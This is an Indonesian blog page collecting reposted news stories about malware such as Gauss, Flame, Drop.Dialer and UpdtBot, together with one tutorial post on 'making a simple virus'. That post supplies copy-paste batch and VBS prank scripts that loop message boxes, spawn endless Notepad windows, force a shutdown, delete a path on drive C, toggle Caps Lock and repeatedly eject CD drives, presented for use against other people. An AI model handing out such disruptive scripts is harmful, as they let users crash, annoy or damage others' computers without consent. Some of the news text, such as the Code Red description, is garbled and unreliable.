Tampilkan postingan dengan label virus. Tampilkan semua postingan
Tampilkan postingan dengan label virus. Tampilkan semua postingan

Gauss, Ancaman Malware Baru setelah Flame

 Gauss, Ancaman Malware Baru setelah Flame

Jakarta - Perusahaan keamanan internet Kaspersky menemukan satu lagi malware baru bernama Gauss. Malware ini diketahui sama berbahayanya dengan Stuxnet, Duqu dan Flame yang menyerang Iran.

Walaupun disebut sebagai ancaman baru, namun sejatinya Gauss dibangun dari dasar kode yang sama seperti Flame dan secara khusus menargetkan data sensitif. Tampaknya ini merupakan malware sejenis spionase cyber.

"Gauss seperti negara yang mempunyai bank Trojan dan menyimpan hulu ledak ini tanpa diketahui sasaran utamanya," terang dari pihak Kaspersky, yang detikINET kutip dari PC World, Minggu (12/8/2012).

Sebenarnya Gauss terdeteksi dalam sebuah operasi yang diprakrasai oleh International Telecommunication Union (ITU) dalam upaya menginvestigasi ancaman lain dari Flame, yang malah menemukan malware lainnya.

Kaspersky mengatakan alasan malware ini dijuluki "Gauss" karena modul utamanya mengunakan metode dari matematikawan Jerman Johann Carl Friedrich Gauss.

Sementara Flame, Stuxnet, dan Duqu tampaknya ditujukan untuk Iran, Gauss secara khusus menargetkan bank Lebanon, serta rekening Citibank dan PayPal. Gauss mencuri browser history, cookies, password, dan konfigurasi sistem.

Sumber

Virus Ini Menyebar Setiap Tanggal 13

Beberapa jenis virus selalu bangkit dan menyebar setiap tanggal 13 jatuh yang pada hari Jumat. Mungkin, pencipta virus tersebut ingin memberi efek menyeramkan seperti film-film horor.

Virus Ini Menyebar Setiap Tanggal 13

Yudhi Kukuh, seorang konsultan teknis dari ESET Indonesia mengatakan bahwa beberapa virus mungkin telah beredar dengan varian baru yang lebih berbahaya. Ia menyampaikan hal tersebut melalui keterangan tertulis yang rilis pada Kamis, 12 Juli 2012. Berikut virus-virus yang muncul pada Jumat tanggal 13:

1. Jerusalem

Virus ini memiliki berbagai macam varian dan menyerang file-file dengan ekstensi .exe dan .com. Efek jika ia sukses menyerang file .exe maka program tersebut akan hilang dari sistem sehingga muncul peringatan “file not found”.

2. Xeram

Virus ini akan berjalan ketika kita membuka file yang telah terinfeksi virus tersebut pada tanggal 13 hari Jumat. File yang biasanya terinfeksi adalah file-file dengan ekstensi NAV_._NO, CHLIST.MS dan SCANVAL.VAL.

3. Smeg

Sama seperti Jerusalem, virus ini mengincar file dengan ekstensi .COM. Hanya saja Smeg lebih sederhana. Bila kita menjalankan program yang telah terinfeksi, maka akan muncul pesan dari sistem yang berbunyi “This program requires Microsoft Windows and the infected program will not be executed “.

4. Worm Code Red

Virus ini hanya menyerang web server, itu pun yang berbasis NT 4.0 + IIS 4.0 atau W2K + IIS 5.0. Targetnya adalah file dengan ekstensi .IDA. Jika tanggal 13 jatuh pada hari Jumat, admin web server akan mengirim begitu banyak informasi sehingga web server mengalami buffer yang sangat besar.
Menurut sebuah organisasi yang mengkoordinasikan informasi-informasi mengenai keamanan internet, “Code Red” telah menginfeksi 225.000 host. Mengakibatkan jutaan pemakai tidak bisa mengakses web mail karena worm ini berhasil menyerang salah satu domain registration.

Namun, menurut Kukuh, virus-virus ini merupakan malware yang sudah lama. Kemungkinan besar sudah terdeteksi antivirus yang di-update dengan baik. Ia juga menambahkan bahwa ESET dapat mengidentifikasi keempat virus tersebut.

Drop.Dialer, Virus Baru Di Google Play

Peneliti kemananan dari Symantec berhasil menemukan sebuah virus jahat di toko aplikasi Android, Google Play. Virus tersebut menyamar sebagai permainan terkenal yang menarik banyak peminat.

Drop.Dialer, Virus Baru Di Google Play
Gambar: Symantec

Virus bernama android.dropdialer tersebut merupakan sebuah program jahat sejenis trojan yang membuat ponsel pintar penggunanya mengirimkan pesan singkat berbayar ke nomor konten premium di daerah Eropa Timur. Virus itu telah berada di Google Play selama beberapa minggu sebelum peneliti dari Symantec bernama Irfan Asrar menemukan dan mempublikasikan temuannya di sebuah blog.

Dua program jahat yang menyamar sebagai “Super Mario Bros” dan “GTA 3 – Moscow City” tersebut telah tersedia di Google Play sejak 24 Juni 2012 dan telah diunduh sebanyak lebih dari 50 ribu kali.

“Yang paling menarik tentang trojan ini adalah ia mampu bertahan begitu lama, diunduh dalam jumlah banyak sebelum akhirnya terdeteksi,” tulis Asrar di blognya.

Pembuat virus tersebut diduga berhasil memasukkan hasil karyanya ke Google Play tanpa terdeteksi proses pemindaian Google dengan cara memecahnya menjadi beberapa bagian, muatan bertahap, kata Asrar. Ketika program jahat itu terpasang di smartphone, ia akan mengunduh paket tambahan untuk menyempurnakan instalasi. Paket tambahan tersebut yang akan mengirim pesan singkat berbayar.

Dua ahli keamanan internet Jon Oberheide dan Charlie Miller telah mendemonstrasikan bagaimana mereka menemukan kelemahan di Google’s Bounce untuk memasukkan program jahat ke Google Play. Penemuan tersebut menyoroti celah lain di Google’s Bouncer, sebuah proses terautomasi yang memindai aplikasi-aplikasi dari program jahat, malware, spyware, trojan, atau file mencurigakan lain. (Cnet)

Ternyata Virus Flame Biasa Saja

Ternyata Virus Flame Biasa Saja
Perang panjang di dunia maya antara Amerika Serikat dan Iran semakin meningkat di tengah kebuntuan mengenai program nuklir kontroversial Teheran.

Virus Flame, yang muncul belum lama ini, diduga merupakan bagian dari percekcokan tersebut. Namun Washington diduga  memiliki alat yang jauh lebih canggih, kata beberapa ahli keamanan.

"Negara besar dengan lembaga mata-mata besar telah menggunakan jenis teknik ini selama lebih dari satu dasawarsa," kata James Lewis, pejabat senior yang memantau teknologi di Pusat bagi Kajian Strategis dan Internasional (CSIS) di Washington.

Lewis mengatakan mata-mata dunia maya tersebut bukanlah senjata tetapi sangat efektif sebagai alat intelijen dan dapat menghindari masalah dengan pengawasan tradisional seperti pesawat mata-mata.

"Jika Anda harus memilih antara ini dan seorang pilot yang bermanuver dijalan-jalan Teheran, ini jauh lebih disukai," katanya.

Lewis menyatakan virus Flame lebih primitif dibandingkan dengan yang diduga dimiliki dinas intelijen AS.

"Saya berharap bukan AS yang mengembangkannya sebab itu tidak terlalu canggih,"imbuh  Lewis.

Ia menyatakan Israel juga memiliki kemampuan yang sangat maju, dan itu barangkali berarti Flame dikembangkan di negara “lapis kedua".

Namuan beberapa pengulas menganggap Flame sangat canggih. UniTelekomunikasi Internasional (ITU) menyatakan virus tersebut jauh lebih rumit dibandingkan dengan ancaman maya yang pernah ada sebelumnya.

Johannes Ulrich, ahli keamanan komputer di SANS Technology Institute,mengatakan Flame adalah alat yang agak kuno dibandingkan dengan jenis perangkat jahat lainnya. Namun, kemungkinan virus tersebut adalah versi kasarnya yang masih dapat dikemas jadi versi lebih canggih.

"Bagian teknologi tersebut tak sehebat itu, dan saya kira itu agak dibesar-besarkan dalam beberapa laporan," kata Ulrich.

Dari mana tepatnya perangkat jahat itu berasal tak mungkin diketahui hanya dari kodenya, kata Ulrich.

"Itu tak memperlihatkan satu pihak saja," katanya. "Apakah itu satu pemerintah atau satu kelompok penjahat, sulit dijelaskan," katanya.

Sachs mengatakan Flame bukan alat sabotase seperti virus Stuxnet, yang mengincar sistem kendali di Iran. Namun Flame lebih menyerupai perangkat mata-mata yang berusaha mengumpulkan properti intelektual. Tetapi tetap dapat menjadi alat pengawasan oleh satu pemerintah asing.

Baik AS maupun pemerintah Israel belum secara terbuka mengakui mereka ‘mensahkan' Flame, kendati seorang menteri senior Israel mengatakan penggunaan perangkat lunak guna menghadapi rencana nuklir Iran sangat beralasan.

Sementara itu, militer AS telah mengakui sedang mengerjakan sistem perang maya baik yang bersifat bertahan maupun menyerang.

Lembaga Proyek Penelitian Pertahanan di Pentagon telah mengungkapkan beberapa perincian mengenai "Rencana X"-nya, yang disebutkan program perang maya mendasar.

Cara Membuat Virus Sederhana

ini adalah cara membuat virus yg sederhana saya rasa semua orang bisa melakukannya!!
hanya dengan notepad dan kemampuan copy-paste anda sudah bisa!!
langsung aja ok!!


1. Message yg muncul terus menerus
cara nya buka notepad lalu masukan script di bawah ini :


@ECHO off
:<br />
Begin<br />
msg * Lagi ngapain ?<br />
msg * Hayo buka apa ?<br />
msg * Nanti dimarahin ama mak loe<br />
msg * Makannya jangan sembrono !<br />
msg * minta bantuan gih sono !<br />
msg * Udah instal ulang aja !!!!<br />
msg * tit............................
GOTO BEGIN</div>


bisa dirubah sesuai keinginan anda!
simpan dengan berekstensi .bat contoh cyber4rt.bat



2.  pertanyaan menjebak
script nya

@echo off
title quiz hari ini 
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

simpan dengan .bat contoh contoh = quizcyber4rt.bat

3. Membuka notepad terus-menerus
script nya

@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

sama simpan dengan .bat

4. komputer mati sendiri dan ngirim message
script nya

Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

simpan dengan .vbs

5. buka tutup cd room terus menerus
script nya

Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

simpan dengan .vbs

Selamat mencoba dan semoga bermanfaat tapi jangan di gunakan untuk kejahatan dan balas dendam, ok!!!

Malware Baru Di Android Menyebar Via SMS


Amerika Serikat - Malware kembali menyerang perangkat berbasis Android. UpdtBot, demikian namanya, ditemukan NQ Mobile Security Research Center dan diketahui menyebar melalui pesan singkat atau SMS.

Seperti dikutip detikINET dari Ubergizmo, Sabtu (15/4/2012), malware ini menyamar dalam bentuk SMS yang meminta pengguna mengklik link untuk mengupdate sistem di ponsel mereka.

Celakanya, ketika link ini diklik, secara otomatis si pengguna menginstal UpdtBot. Selanjutnya, malware tersebut akan berkomunikasi dengan server jahat yang bisa mengendalikan dan memberi perintah dari jarak jauh.

Nah, aplikasi jahat ini lantas memungkinkan perangkat mengirim SMS, membuat panggilan telepon dan mendownload serta menginstal aplikasi tanpa sepengetahuan pengguna. Terang saja, ini bisa mengakibatkan kantong bolong karena pulsa akan tersedot habis.

NQ Mobile Security Research Center memperkirakan ada 160 ribu perangkat yang terinfeksi UpdtBot. Untuk mencegahnya, pastikan hanya mengunduh aplikasi dari sumber terpercaya. Sebelumnya, cek juga review dan komentar pengguna yang sudah memakainya untuk memastikan aplikasi tersebut aman.

Sumber: http://manisoo.blogspot.com

20.000 Situs Internet Diharap Waspada Serangan Malware

20.000 Situs Internet Diharap Waspada Serangan Malware
Cyber4rt | Sekitar 20.000 situs di internet telah diperingatkan untuk waspada terhadap serangan program jahat oleh Google. Google menduga serangan terjadi melalui JavaScript. Kemungkinan ada pihak yang tidak bertanggung jawab menyusupkan kode JavaScript di situs-situs tersebut. Karena itulah pengelola diminta segera melakukan pembersihan.
Tim dari Google mengingatkan pemilik situs untuk mencari file yang berisi konten "eval(function(p,a,c,k,e,r)". Kode tersebut dapat ditempatkan dalam file HTML, JavaScript, atau PHP.

"JavaScript disusupkan oleh pihak ketiga dan dapat digunakan untuk mengarahkan pengguna ke situs berbahaya," kata tim Google Search Quality.

Selain itu, Google juga memperingatkan kepada pemilik situs agar selalu menghapus malware dan memperbaiki kerentanan situs. Hal itu dilakukan untuk melindungi pengunjung situs. Mereka juga didesak untuk menjaga kebaruan software dan segera menghubungi web hosting masing-masing untuk mendapat bantuan. Ini bukan pertama kali Google memperingatkan pemilik situs web untuk mewaspadai serangan hacker, khususnya yang menyusupkan malware.
"Google membantu pemilik web untuk mencegah spam. Ini bukan fenomena baru. Kami selalu terbuka dengan webmaster, dan kami akan selalu melakukannya," ujar Mark JAnsen,  Juru Bicara google indonesia
di tahun  2011 lalu, Google  mencantumkan 11 juta url dengan domain .co.cc dari hasil pencariannya. Gara-garan domain ini virus malware semakin menyebarluas..

[ Categories ]